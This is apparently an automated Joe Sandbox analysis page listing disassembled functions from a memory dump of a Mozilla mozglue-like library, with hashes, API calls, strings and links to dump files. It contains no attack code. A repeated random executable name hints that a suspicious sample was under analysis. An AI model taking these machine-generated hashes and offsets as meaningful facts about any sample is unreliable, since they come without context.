Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3c23776860980fc637aab029b4861da4dbc3c609484b014aa8c43398739cea6b
Instruction ID: c38fc7ee52ef4de66a6cacc73ba2ffb19247e4af37f8ee2bbdd3a2c402aa30c2
Opcode Fuzzy Hash: 3c23776860980fc637aab029b4861da4dbc3c609484b014aa8c43398739cea6b
Instruction Fuzzy Hash: 92B1AE316083818BCB14CFA6C85065FB7E2AFC9358F154A1CE99567795DB70ED0BCB82

Function 6C578850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C579813, 6C57985D, 6C579878, 6C579CEB
MOZ_CRASH(), xrefs: 6C5797EA

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: c7d246294b59b6990f04ca89361411be7a39a24117a9a91264e39b75fd6d2500
Instruction ID: 4e60e2d9e439bae84d486aea72004862e96e0ade01b2ae835277183e10c59c60
Opcode Fuzzy Hash: c7d246294b59b6990f04ca89361411be7a39a24117a9a91264e39b75fd6d2500
Instruction Fuzzy Hash: E0D29D71A056018FC728CF19C990715BBE2BF85324F29C76DD86A8B7A5D731E881CBA1

Function 6C596CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C596D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C596E1E

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: a9f5f15c9f57a2be6ba144bf44b01c2280277aa1936b9fe586b2a915e5659369
Instruction ID: d3ddcd8c06edf4316d6c5bdecd811684e8ffc1e6e49a590ace3d38ae6b9d4098
Opcode Fuzzy Hash: a9f5f15c9f57a2be6ba144bf44b01c2280277aa1936b9fe586b2a915e5659369
Instruction Fuzzy Hash: 66A16B706183818FC755CF25C8907AEBBE2BFC8308F45495DE48A87751DB70A949CB92

Function 6C5BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C58FE3F), ref: 6C5BB720
RtlNtStatusToDosError.NTDLL ref: 6C5BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C58FE3F), ref: 6C5BB760

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 6675fc74d69859065c68634b51602eb9870f9c81d33bf17265283f466b2d5621
Instruction ID: bdd3e73850114926a583fdf4e0b736879a37dacd6824c26d8f35ec5b05753608
Opcode Fuzzy Hash: 6675fc74d69859065c68634b51602eb9870f9c81d33bf17265283f466b2d5621
Instruction Fuzzy Hash: E1F0AFB0A0020CEEEF01AAE18CD4BEEBBBC9B44319F105129E511756C0D7B4A9C8C6A2

Function 6C574640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C574777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C575585, 6C5755A8, 6C5755C3, 6C575624

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: c60b8d9891b2ee80013d2f2dc21e4499b0fb2d0ef3f17d789cf0dc86a88385df
Instruction ID: afc97e66b74324ae40504cd78a961a86ed6f5c66b8733c773c25c893d7f3ee11
Opcode Fuzzy Hash: c60b8d9891b2ee80013d2f2dc21e4499b0fb2d0ef3f17d789cf0dc86a88385df
Instruction Fuzzy Hash: D2B28D71A057018FD728CF18C990715BBE2BFC5324B29C76DE46A8B7A5D771E881CB90

Function 6C5B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5B8C7C
__aulldiv.LIBCMT ref: 6C5B8DD7

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 6a2245c268f57f97b4344716086709354d8b99762c7c771f77343e91f0d66ef6
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 00327471F0111A8BDF18CE9CC8A17AEFBB2FB88300F15953AD506BB794D6349D458B92

Function 6C5C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qUl, xrefs: 6C5C7796, 6C5C793C, 6C5C79FB, 6C5C7E0B, 6C5C79C0, 6C5C7B0B

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: ~qUl
API String ID: 0-2086637238
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: bb8c5e363d58277b33ac96f66c407a56b22352606fc41149390bbc5c8401eef5
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 2B32F771E0061A8FCB14CF98C890AADFBB2FF88304F64856DC959A7745D731A986CF91

Function 6C5C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qUl, xrefs: 6C5C7C72, 6C5C793C, 6C5C7C03, 6C5C79FB, 6C5C7E0B, 6C5C79C0, 6C5C7B0B

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: ~qUl
API String ID: 0-2086637238
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3fba92bd73d9f2347b30022f3f7dc9619fb5ae1b7d4ffd6e90ff493a55d270b7
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: E022D771E006198FCB14CF98C880AADF7B2FF88304F6485AEC549A7745D731A986CF91

Function 6C595C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C564A63,?,?), ref: 6C595F06

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8ef97583250808285031bede26460bee44c1c151f195b450b1c2b16ee64bf3ff
Instruction ID: 9841a9e82906c128d49631713a958d7bf59b8c1a7dd275ed59ee284c6318f23f
Opcode Fuzzy Hash: 8ef97583250808285031bede26460bee44c1c151f195b450b1c2b16ee64bf3ff
Instruction Fuzzy Hash: ACC1D375D012498BCB04CF55C9906DEBBF2FF89319F68429DD8556BB40D732A916CF80

Function 6C55DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd20a06a5c2540586833391d2dc9282ea97ef4c7b21c57a17d3e002a7d1740a4
Instruction ID: ba6f3d23ce00b8c098033e33acf4a92d6b58c3c32eb0594c27663d1f6019cd26
Opcode Fuzzy Hash: fd20a06a5c2540586833391d2dc9282ea97ef4c7b21c57a17d3e002a7d1740a4
Instruction Fuzzy Hash: 7442D472A087508BD304CE3CC89075AF3E2BFC9364F494B2EE999A7791D778D9518B81

Function 6C580512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: eb232d70ba3c9ea49ffd605989dd7733309f90ea9e2d9bc4c7842cee2072fb44
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 40222771E01629CFCB14CF98C890AADF7B2FF89304F54869AC54AA7705D730A986CF90

Function 6C5CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e49ac88d9d89c62ad80abb4c0153be0d31024f3e295ee916f9b166587a4dd23
Instruction ID: 0922fa6b6dbc5855f006867cfa0d6c33e913bd8ece917e0704fea0319049b629
Opcode Fuzzy Hash: 3e49ac88d9d89c62ad80abb4c0153be0d31024f3e295ee916f9b166587a4dd23
Instruction Fuzzy Hash: D8F13871B087458FD700CEA8CC913AABBE2AFC5318F158A2DE4D487781E7749889C793

Function 6C55C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 54513acaca4092eae9cc65eb2d8b5a11446343a5aa1cf88b35bd4fbe5e963768
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 11A1AF71F0021A8FDB08CE69C8913AEB7F2AFC9354F58812AD915E7781DB346D168B90

Function 6C597710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 63437c072cae352855930f559f945967ec3236b7b3c2de3c333c10057d1e62d6
Instruction ID: 462d9755011957b4f0bba3b2d76ea8399daca5c070f24161ed234c69209b0c8c
Opcode Fuzzy Hash: 63437c072cae352855930f559f945967ec3236b7b3c2de3c333c10057d1e62d6
Instruction Fuzzy Hash: 93716C75E012598FCF08CF98D8906EDBBB2FF89354F24816ED815AB740D731A905CB90

Function 6C59CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C56582D), ref: 6C59CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C56582D), ref: 6C59CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5CFE98,?,?,?,?,?,6C56582D), ref: 6C59CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C56582D), ref: 6C59CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C56582D), ref: 6C59CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C56582D), ref: 6C59CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C56582D), ref: 6C59CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C59CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C59CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C59CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C59CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C59CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C59CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C59CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C59CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C59CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C59CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C59CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C59CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C59CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C59CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C59CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C59CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C59CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C59CE8A

Strings

noiostacks, xrefs: 6C59CCBE
mainthreadio, xrefs: 6C59CC7C
nostacksampling, xrefs: 6C59CD7C
leaf, xrefs: 6C59CC66
screenshots, xrefs: 6C59CCD4
seqstyle, xrefs: 6C59CCE6
preferencereads, xrefs: 6C59CD92
fileio, xrefs: 6C59CC92
pAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.e, xrefs: 6C59CE92
nativeallocations, xrefs: 6C59CDA8
notimerresolutionchange, xrefs: 6C59CE00
audiocallbacktracing, xrefs: 6C59CDD4
cpuallthreads, xrefs: 6C59CE16
samplingallthreads, xrefs: 6C59CE2C
markersallthreads, xrefs: 6C59CE42
stackwalk, xrefs: 6C59CCF8
Unrecognized feature "%s"., xrefs: 6C59CEA0
processcpu, xrefs: 6C59CE6E
java, xrefs: 6C59CC37
power, xrefs: 6C59CE84
jsallocations, xrefs: 6C59CD0E
unregisteredthreads, xrefs: 6C59CE58
default, xrefs: 6C59CC21
ipcmessages, xrefs: 6C59CDBE
fileioall, xrefs: 6C59CCA8

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$pAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.exeZLepjEsdYuHpAhhBCbs.e$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-469680396
Opcode ID: bdcd54b84bdbf76518899b9b591da96df7e2ac5626df3779df31bdc3d93a2bf8
Instruction ID: 0d04b17ba2b9037a502c87ee27e8fff15c3284763e725a80e9951f75f7b34acc
Opcode Fuzzy Hash: bdcd54b84bdbf76518899b9b591da96df7e2ac5626df3779df31bdc3d93a2bf8
Instruction Fuzzy Hash: B951B7F1B453E552FA0171597D10BAA1408EF9324AF14547EED1BA1F90FB04FB0A86B7

Function 6C5647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C564801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C564817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C56482D
__Init_thread_footer.LIBCMT ref: 6C56484A

Part of subcall function 6C58AB3F: EnterCriticalSection.KERNEL32(6C5DE370,?,?,6C553527,6C5DF6CC,?,?,?,?,?,?,?,?,6C553284), ref: 6C58AB49
Part of subcall function 6C58AB3F: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C553527,6C5DF6CC,?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58AB7C

GetCurrentThreadId.KERNEL32 ref: 6C56485F
GetCurrentThreadId.KERNEL32 ref: 6C56487E
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C56488B
free.MOZGLUE(?), ref: 6C56493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C564956
free.MOZGLUE(00000000), ref: 6C564960
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C56499A

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

free.MOZGLUE(?), ref: 6C5649C6
free.MOZGLUE(?), ref: 6C5649E9

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C564828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C564A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C564812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5647FC
[I %d/%d] profiler_shutdown, xrefs: 6C564A06

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: ba3d8c905987a52cd8c613e1276eff618f1473e68452c8b3462ec4e7d2d91e14
Instruction ID: fc029eb266c831433f564fd12b5baa03aac1a4d500de6597531181c91a10c47a
Opcode Fuzzy Hash: ba3d8c905987a52cd8c613e1276eff618f1473e68452c8b3462ec4e7d2d91e14
Instruction Fuzzy Hash: 0381F171A00200DBDB10DF2ACC6475A37B6EF82329F560629D91697F61E731F884CB9E

Function 6C564470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C564730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5644B2,6C5DE21C,6C5DF7F8), ref: 6C56473E
Part of subcall function 6C564730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C56474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5644D2
InitOnceExecuteOnce.KERNEL32(6C5DF80C,6C55F240,?,?), ref: 6C56451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C56455C
LoadLibraryW.KERNEL32(?), ref: 6C564592
InitializeCriticalSection.KERNEL32(6C5DF770), ref: 6C5645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5645BB
InitOnceExecuteOnce.KERNEL32(6C5DF818,6C55F240,?,?), ref: 6C564612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C564636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C564644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C56466D
VerSetConditionMask.NTDLL ref: 6C56469F
